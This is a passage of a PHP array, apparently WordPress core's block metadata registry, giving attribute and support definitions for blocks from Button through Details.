    )
  ),
  'button' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/button',
    'title' => 'Button',
    'category' => 'design',
    'parent' => array(
      'core/buttons'
    ),
    'description' => 'Prompt visitors to take action with a button-style link.',
    'keywords' => array(
      'link'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'tagName' => array(
        'type' => 'string',
        'enum' => array(
          'a',
          'button'
        ),
        'default' => 'a'
      ),
      'type' => array(
        'type' => 'string',
        'default' => 'button'
      ),
      'textAlign' => array(
        'type' => 'string'
      ),
      'url' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'a',
        'attribute' => 'href',
        '__experimentalRole' => 'content'
      ),
      'title' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'a,button',
        'attribute' => 'title',
        '__experimentalRole' => 'content'
      ),
      'text' => array(
        'type' => 'rich-text',
        'source' => 'rich-text',
        'selector' => 'a,button',
        '__experimentalRole' => 'content'
      ),
      'linkTarget' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'a',
        'attribute' => 'target',
        '__experimentalRole' => 'content'
      ),
      'rel' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'a',
        'attribute' => 'rel',
        '__experimentalRole' => 'content'
      ),
      'placeholder' => array(
        'type' => 'string'
      ),
      'backgroundColor' => array(
        'type' => 'string'
      ),
      'textColor' => array(
        'type' => 'string'
      ),
      'gradient' => array(
        'type' => 'string'
      ),
      'width' => array(
        'type' => 'number'
      )
    ),
    'supports' => array(
      'anchor' => true,
      'align' => false,
      'alignWide' => false,
      'color' => array(
        '__experimentalSkipSerialization' => true,
        'gradients' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'reusable' => false,
      'shadow' => array(
        '__experimentalSkipSerialization' => true
      ),
      'spacing' => array(
        '__experimentalSkipSerialization' => true,
        'padding' => array(
          'horizontal',
          'vertical'
        ),
        '__experimentalDefaultControls' => array(
          'padding' => true
        )
      ),
      '__experimentalBorder' => array(
        'color' => true,
        'radius' => true,
        'style' => true,
        'width' => true,
        '__experimentalSkipSerialization' => true,
        '__experimentalDefaultControls' => array(
          'color' => true,
          'radius' => true,
          'style' => true,
          'width' => true
        )
      ),
      '__experimentalSelector' => '.wp-block-button .wp-block-button__link',
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'styles' => array(
      array(
        'name' => 'fill',
        'label' => 'Fill',
        'isDefault' => true
      ),
      array(
        'name' => 'outline',
        'label' => 'Outline'
      )
    ),
    'editorStyle' => 'wp-block-button-editor',
    'style' => 'wp-block-button'
  ),
  'buttons' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/buttons',
    'title' => 'Buttons',
    'category' => 'design',
    'allowedBlocks' => array(
      'core/button'
    ),
    'description' => 'Prompt visitors to take action with a group of button-style links.',
    'keywords' => array(
      'link'
    ),
    'textdomain' => 'default',
    'supports' => array(
      'anchor' => true,
      'align' => array(
        'wide',
        'full'
      ),
      'html' => false,
      '__experimentalExposeControlsToChildren' => true,
      'spacing' => array(
        'blockGap' => true,
        'margin' => array(
          'top',
          'bottom'
        ),
        '__experimentalDefaultControls' => array(
          'blockGap' => true
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'layout' => array(
        'allowSwitching' => false,
        'allowInheriting' => false,
        'default' => array(
          'type' => 'flex'
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-buttons-editor',
    'style' => 'wp-block-buttons'
  ),
  'calendar' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/calendar',
    'title' => 'Calendar',
    'category' => 'widgets',
    'description' => 'A calendar of your site’s posts.',
    'keywords' => array(
      'posts',
      'archive'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'month' => array(
        'type' => 'integer'
      ),
      'year' => array(
        'type' => 'integer'
      )
    ),
    'supports' => array(
      'align' => true,
      'color' => array(
        'link' => true,
        '__experimentalSkipSerialization' => array(
          'text',
          'background'
        ),
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        ),
        '__experimentalSelector' => 'table, th'
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'style' => 'wp-block-calendar'
  ),
  'categories' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/categories',
    'title' => 'Categories List',
    'category' => 'widgets',
    'description' => 'Display a list of all categories.',
    'textdomain' => 'default',
    'attributes' => array(
      'displayAsDropdown' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'showHierarchy' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'showPostCounts' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'showOnlyTopLevel' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'showEmpty' => array(
        'type' => 'boolean',
        'default' => false
      )
    ),
    'supports' => array(
      'align' => true,
      'html' => false,
      'spacing' => array(
        'margin' => true,
        'padding' => true,
        '__experimentalDefaultControls' => array(
          'margin' => false,
          'padding' => false
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-categories-editor',
    'style' => 'wp-block-categories'
  ),
  'code' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/code',
    'title' => 'Code',
    'category' => 'text',
    'description' => 'Display code snippets that respect your spacing and tabs.',
    'textdomain' => 'default',
    'attributes' => array(
      'content' => array(
        'type' => 'rich-text',
        'source' => 'rich-text',
        'selector' => 'code',
        '__unstablePreserveWhiteSpace' => true
      )
    ),
    'supports' => array(
      'align' => array(
        'wide'
      ),
      'anchor' => true,
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'spacing' => array(
        'margin' => array(
          'top',
          'bottom'
        ),
        'padding' => true,
        '__experimentalDefaultControls' => array(
          'margin' => false,
          'padding' => false
        )
      ),
      '__experimentalBorder' => array(
        'radius' => true,
        'color' => true,
        'width' => true,
        'style' => true,
        '__experimentalDefaultControls' => array(
          'width' => true,
          'color' => true
        )
      ),
      'color' => array(
        'text' => true,
        'background' => true,
        'gradients' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'style' => 'wp-block-code'
  ),
  'column' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/column',
    'title' => 'Column',
    'category' => 'design',
    'parent' => array(
      'core/columns'
    ),
    'description' => 'A single column within a columns block.',
    'textdomain' => 'default',
    'attributes' => array(
      'verticalAlignment' => array(
        'type' => 'string'
      ),
      'width' => array(
        'type' => 'string'
      ),
      'allowedBlocks' => array(
        'type' => 'array'
      ),
      'templateLock' => array(
        'type' => array(
          'string',
          'boolean'
        ),
        'enum' => array(
          'all',
          'insert',
          'contentOnly',
          false
        )
      )
    ),
    'supports' => array(
      '__experimentalOnEnter' => true,
      'anchor' => true,
      'reusable' => false,
      'html' => false,
      'color' => array(
        'gradients' => true,
        'heading' => true,
        'button' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'shadow' => true,
      'spacing' => array(
        'blockGap' => true,
        'padding' => true,
        '__experimentalDefaultControls' => array(
          'padding' => true,
          'blockGap' => true
        )
      ),
      '__experimentalBorder' => array(
        'color' => true,
        'style' => true,
        'width' => true,
        '__experimentalDefaultControls' => array(
          'color' => true,
          'style' => true,
          'width' => true
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'layout' => true,
      'interactivity' => array(
        'clientNavigation' => true
      )
    )
  ),
  'columns' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/columns',
    'title' => 'Columns',
    'category' => 'design',
    'allowedBlocks' => array(
      'core/column'
    ),
    'description' => 'Display content in multiple columns, with blocks added to each column.',
    'textdomain' => 'default',
    'attributes' => array(
      'verticalAlignment' => array(
        'type' => 'string'
      ),
      'isStackedOnMobile' => array(
        'type' => 'boolean',
        'default' => true
      ),
      'templateLock' => array(
        'type' => array(
          'string',
          'boolean'
        ),
        'enum' => array(
          'all',
          'insert',
          'contentOnly',
          false
        )
      )
    ),
    'supports' => array(
      'anchor' => true,
      'align' => array(
        'wide',
        'full'
      ),
      'html' => false,
      'color' => array(
        'gradients' => true,
        'link' => true,
        'heading' => true,
        'button' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'spacing' => array(
        'blockGap' => array(
          '__experimentalDefault' => '2em',
          'sides' => array(
            'horizontal',
            'vertical'
          )
        ),
        'margin' => array(
          'top',
          'bottom'
        ),
        'padding' => true,
        '__experimentalDefaultControls' => array(
          'padding' => true,
          'blockGap' => true
        )
      ),
      'layout' => array(
        'allowSwitching' => false,
        'allowInheriting' => false,
        'allowEditing' => false,
        'default' => array(
          'type' => 'flex',
          'flexWrap' => 'nowrap'
        )
      ),
      '__experimentalBorder' => array(
        'color' => true,
        'radius' => true,
        'style' => true,
        'width' => true,
        '__experimentalDefaultControls' => array(
          'color' => true,
          'radius' => true,
          'style' => true,
          'width' => true
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      ),
      'shadow' => true
    ),
    'editorStyle' => 'wp-block-columns-editor',
    'style' => 'wp-block-columns'
  ),
  'comment-author-name' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/comment-author-name',
    'title' => 'Comment Author Name',
    'category' => 'theme',
    'ancestor' => array(
      'core/comment-template'
    ),
    'description' => 'Displays the name of the author of the comment.',
    'textdomain' => 'default',
    'attributes' => array(
      'isLink' => array(
        'type' => 'boolean',
        'default' => true
      ),
      'linkTarget' => array(
        'type' => 'string',
        'default' => '_self'
      ),
      'textAlign' => array(
        'type' => 'string'
      )
    ),
    'usesContext' => array(
      'commentId'
    ),
    'supports' => array(
      'html' => false,
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true,
          'link' => true
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    )
  ),
  'comment-content' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/comment-content',
    'title' => 'Comment Content',
    'category' => 'theme',
    'ancestor' => array(
      'core/comment-template'
    ),
    'description' => 'Displays the contents of a comment.',
    'textdomain' => 'default',
    'usesContext' => array(
      'commentId'
    ),
    'attributes' => array(
      'textAlign' => array(
        'type' => 'string'
      )
    ),
    'supports' => array(
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'spacing' => array(
        'padding' => array(
          'horizontal',
          'vertical'
        ),
        '__experimentalDefaultControls' => array(
          'padding' => true
        )
      ),
      'html' => false
    )
  ),
  'comment-date' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/comment-date',
    'title' => 'Comment Date',
    'category' => 'theme',
    'ancestor' => array(
      'core/comment-template'
    ),
    'description' => 'Displays the date on which the comment was posted.',
    'textdomain' => 'default',
    'attributes' => array(
      'format' => array(
        'type' => 'string'
      ),
      'isLink' => array(
        'type' => 'boolean',
        'default' => true
      )
    ),
    'usesContext' => array(
      'commentId'
    ),
    'supports' => array(
      'html' => false,
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true,
          'link' => true
        )
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    )
  ),
  'comment-edit-link' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/comment-edit-link',
    'title' => 'Comment Edit Link',
    'category' => 'theme',
    'ancestor' => array(
      'core/comment-template'
    ),
    'description' => 'Displays a link to edit the comment in the WordPress Dashboard. This link is only visible to users with the edit comment capability.',
    'textdomain' => 'default',
    'usesContext' => array(
      'commentId'
    ),
    'attributes' => array(
      'linkTarget' => array(
        'type' => 'string',
        'default' => '_self'
      ),
      'textAlign' => array(
        'type' => 'string'
      )
    ),
    'supports' => array(
      'html' => false,
      'color' => array(
        'link' => true,
        'gradients' => true,
        'text' => false,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'link' => true
        )
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    )
  ),
  'comment-reply-link' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/comment-reply-link',
    'title' => 'Comment Reply Link',
    'category' => 'theme',
    'ancestor' => array(
      'core/comment-template'
    ),
    'description' => 'Displays a link to reply to a comment.',
    'textdomain' => 'default',
    'usesContext' => array(
      'commentId'
    ),
    'attributes' => array(
      'textAlign' => array(
        'type' => 'string'
      )
    ),
    'supports' => array(
      'color' => array(
        'gradients' => true,
        'link' => true,
        'text' => false,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'link' => true
        )
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'html' => false
    )
  ),
  'comment-template' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/comment-template',
    'title' => 'Comment Template',
    'category' => 'design',
    'parent' => array(
      'core/comments'
    ),
    'description' => 'Contains the block elements used to display a comment, like the title, date, author, avatar and more.',
    'textdomain' => 'default',
    'usesContext' => array(
      'postId'
    ),
    'supports' => array(
      'align' => true,
      'html' => false,
      'reusable' => false,
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'style' => 'wp-block-comment-template'
  ),
  'comments' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/comments',
    'title' => 'Comments',
    'category' => 'theme',
    'description' => 'An advanced block that allows displaying post comments using different visual configurations.',
    'textdomain' => 'default',
    'attributes' => array(
      'tagName' => array(
        'type' => 'string',
        'default' => 'div'
      ),
      'legacy' => array(
        'type' => 'boolean',
        'default' => false
      )
    ),
    'supports' => array(
      'align' => array(
        'wide',
        'full'
      ),
      'html' => false,
      'color' => array(
        'gradients' => true,
        'heading' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true,
          'link' => true
        )
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      )
    ),
    'editorStyle' => 'wp-block-comments-editor',
    'usesContext' => array(
      'postId',
      'postType'
    )
  ),
  'comments-pagination' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/comments-pagination',
    'title' => 'Comments Pagination',
    'category' => 'theme',
    'parent' => array(
      'core/comments'
    ),
    'allowedBlocks' => array(
      'core/comments-pagination-previous',
      'core/comments-pagination-numbers',
      'core/comments-pagination-next'
    ),
    'description' => 'Displays a paginated navigation to next/previous set of comments, when applicable.',
    'textdomain' => 'default',
    'attributes' => array(
      'paginationArrow' => array(
        'type' => 'string',
        'default' => 'none'
      )
    ),
    'providesContext' => array(
      'comments/paginationArrow' => 'paginationArrow'
    ),
    'supports' => array(
      'align' => true,
      'reusable' => false,
      'html' => false,
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true,
          'link' => true
        )
      ),
      'layout' => array(
        'allowSwitching' => false,
        'allowInheriting' => false,
        'default' => array(
          'type' => 'flex'
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-comments-pagination-editor',
    'style' => 'wp-block-comments-pagination'
  ),
  'comments-pagination-next' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/comments-pagination-next',
    'title' => 'Comments Next Page',
    'category' => 'theme',
    'parent' => array(
      'core/comments-pagination'
    ),
    'description' => 'Displays the next comment\'s page link.',
    'textdomain' => 'default',
    'attributes' => array(
      'label' => array(
        'type' => 'string'
      )
    ),
    'usesContext' => array(
      'postId',
      'comments/paginationArrow'
    ),
    'supports' => array(
      'reusable' => false,
      'html' => false,
      'color' => array(
        'gradients' => true,
        'text' => false,
        '__experimentalDefaultControls' => array(
          'background' => true
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    )
  ),
  'comments-pagination-numbers' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/comments-pagination-numbers',
    'title' => 'Comments Page Numbers',
    'category' => 'theme',
    'parent' => array(
      'core/comments-pagination'
    ),
    'description' => 'Displays a list of page numbers for comments pagination.',
    'textdomain' => 'default',
    'usesContext' => array(
      'postId'
    ),
    'supports' => array(
      'reusable' => false,
      'html' => false,
      'color' => array(
        'gradients' => true,
        'text' => false,
        '__experimentalDefaultControls' => array(
          'background' => true
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    )
  ),
  'comments-pagination-previous' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/comments-pagination-previous',
    'title' => 'Comments Previous Page',
    'category' => 'theme',
    'parent' => array(
      'core/comments-pagination'
    ),
    'description' => 'Displays the previous comment\'s page link.',
    'textdomain' => 'default',
    'attributes' => array(
      'label' => array(
        'type' => 'string'
      )
    ),
    'usesContext' => array(
      'postId',
      'comments/paginationArrow'
    ),
    'supports' => array(
      'reusable' => false,
      'html' => false,
      'color' => array(
        'gradients' => true,
        'text' => false,
        '__experimentalDefaultControls' => array(
          'background' => true
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    )
  ),
  'comments-title' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/comments-title',
    'title' => 'Comments Title',
    'category' => 'theme',
    'ancestor' => array(
      'core/comments'
    ),
    'description' => 'Displays a title with the number of comments.',
    'textdomain' => 'default',
    'usesContext' => array(
      'postId',
      'postType'
    ),
    'attributes' => array(
      'textAlign' => array(
        'type' => 'string'
      ),
      'showPostTitle' => array(
        'type' => 'boolean',
        'default' => true
      ),
      'showCommentsCount' => array(
        'type' => 'boolean',
        'default' => true
      ),
      'level' => array(
        'type' => 'number',
        'default' => 2
      )
    ),
    'supports' => array(
      'anchor' => false,
      'align' => true,
      'html' => false,
      '__experimentalBorder' => array(
        'radius' => true,
        'color' => true,
        'width' => true,
        'style' => true
      ),
      'color' => array(
        'gradients' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true,
          '__experimentalFontFamily' => true,
          '__experimentalFontStyle' => true,
          '__experimentalFontWeight' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    )
  ),
  'cover' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/cover',
    'title' => 'Cover',
    'category' => 'media',
    'description' => 'Add an image or video with a text overlay.',
    'textdomain' => 'default',
    'attributes' => array(
      'url' => array(
        'type' => 'string'
      ),
      'useFeaturedImage' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'id' => array(
        'type' => 'number'
      ),
      'alt' => array(
        'type' => 'string',
        'default' => ''
      ),
      'hasParallax' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'isRepeated' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'dimRatio' => array(
        'type' => 'number',
        'default' => 100
      ),
      'overlayColor' => array(
        'type' => 'string'
      ),
      'customOverlayColor' => array(
        'type' => 'string'
      ),
      'isUserOverlayColor' => array(
        'type' => 'boolean'
      ),
      'backgroundType' => array(
        'type' => 'string',
        'default' => 'image'
      ),
      'focalPoint' => array(
        'type' => 'object'
      ),
      'minHeight' => array(
        'type' => 'number'
      ),
      'minHeightUnit' => array(
        'type' => 'string'
      ),
      'gradient' => array(
        'type' => 'string'
      ),
      'customGradient' => array(
        'type' => 'string'
      ),
      'contentPosition' => array(
        'type' => 'string'
      ),
      'isDark' => array(
        'type' => 'boolean',
        'default' => true
      ),
      'allowedBlocks' => array(
        'type' => 'array'
      ),
      'templateLock' => array(
        'type' => array(
          'string',
          'boolean'
        ),
        'enum' => array(
          'all',
          'insert',
          'contentOnly',
          false
        )
      ),
      'tagName' => array(
        'type' => 'string',
        'default' => 'div'
      )
    ),
    'usesContext' => array(
      'postId',
      'postType'
    ),
    'supports' => array(
      'anchor' => true,
      'align' => true,
      'html' => false,
      'spacing' => array(
        'padding' => true,
        'margin' => array(
          'top',
          'bottom'
        ),
        'blockGap' => true,
        '__experimentalDefaultControls' => array(
          'padding' => true,
          'blockGap' => true
        )
      ),
      '__experimentalBorder' => array(
        'color' => true,
        'radius' => true,
        'style' => true,
        'width' => true,
        '__experimentalDefaultControls' => array(
          'color' => true,
          'radius' => true,
          'style' => true,
          'width' => true
        )
      ),
      'color' => array(
        '__experimentalDuotone' => '> .wp-block-cover__image-background, > .wp-block-cover__video-background',
        'heading' => true,
        'text' => true,
        'background' => false,
        '__experimentalSkipSerialization' => array(
          'gradients'
        ),
        'enableContrastChecker' => false
      ),
      'dimensions' => array(
        'aspectRatio' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'layout' => array(
        'allowJustification' => false
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-cover-editor',
    'style' => 'wp-block-cover'
  ),
  'details' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/details',
    'title' => 'Details',
    'category' => 'text',
    'description' => 'Hide and show additional content.',
    'keywords' => array(
      'accordion',
      'summary',
      'toggle',
      'disclosure'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'showContent' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'summary' => array(
        'type' => 'rich-text',
        'source' => 'rich-text',
        'selector' => 'summary'
      )
    ),
    'supports' => array(
      'align' => array(
        'wide',
        'full'
      ),
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      '__experimentalBorder' => array(
        'color' => true,
        'width' => true,
        'style' => true
      ),
      'html' => false,
      'spacing' => array(
        'margin' => true,
        'padding' => true,
        'blockGap' => true,
        '__experimentalDefaultControls' => array(
          'margin' => false,
          'padding' => false
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
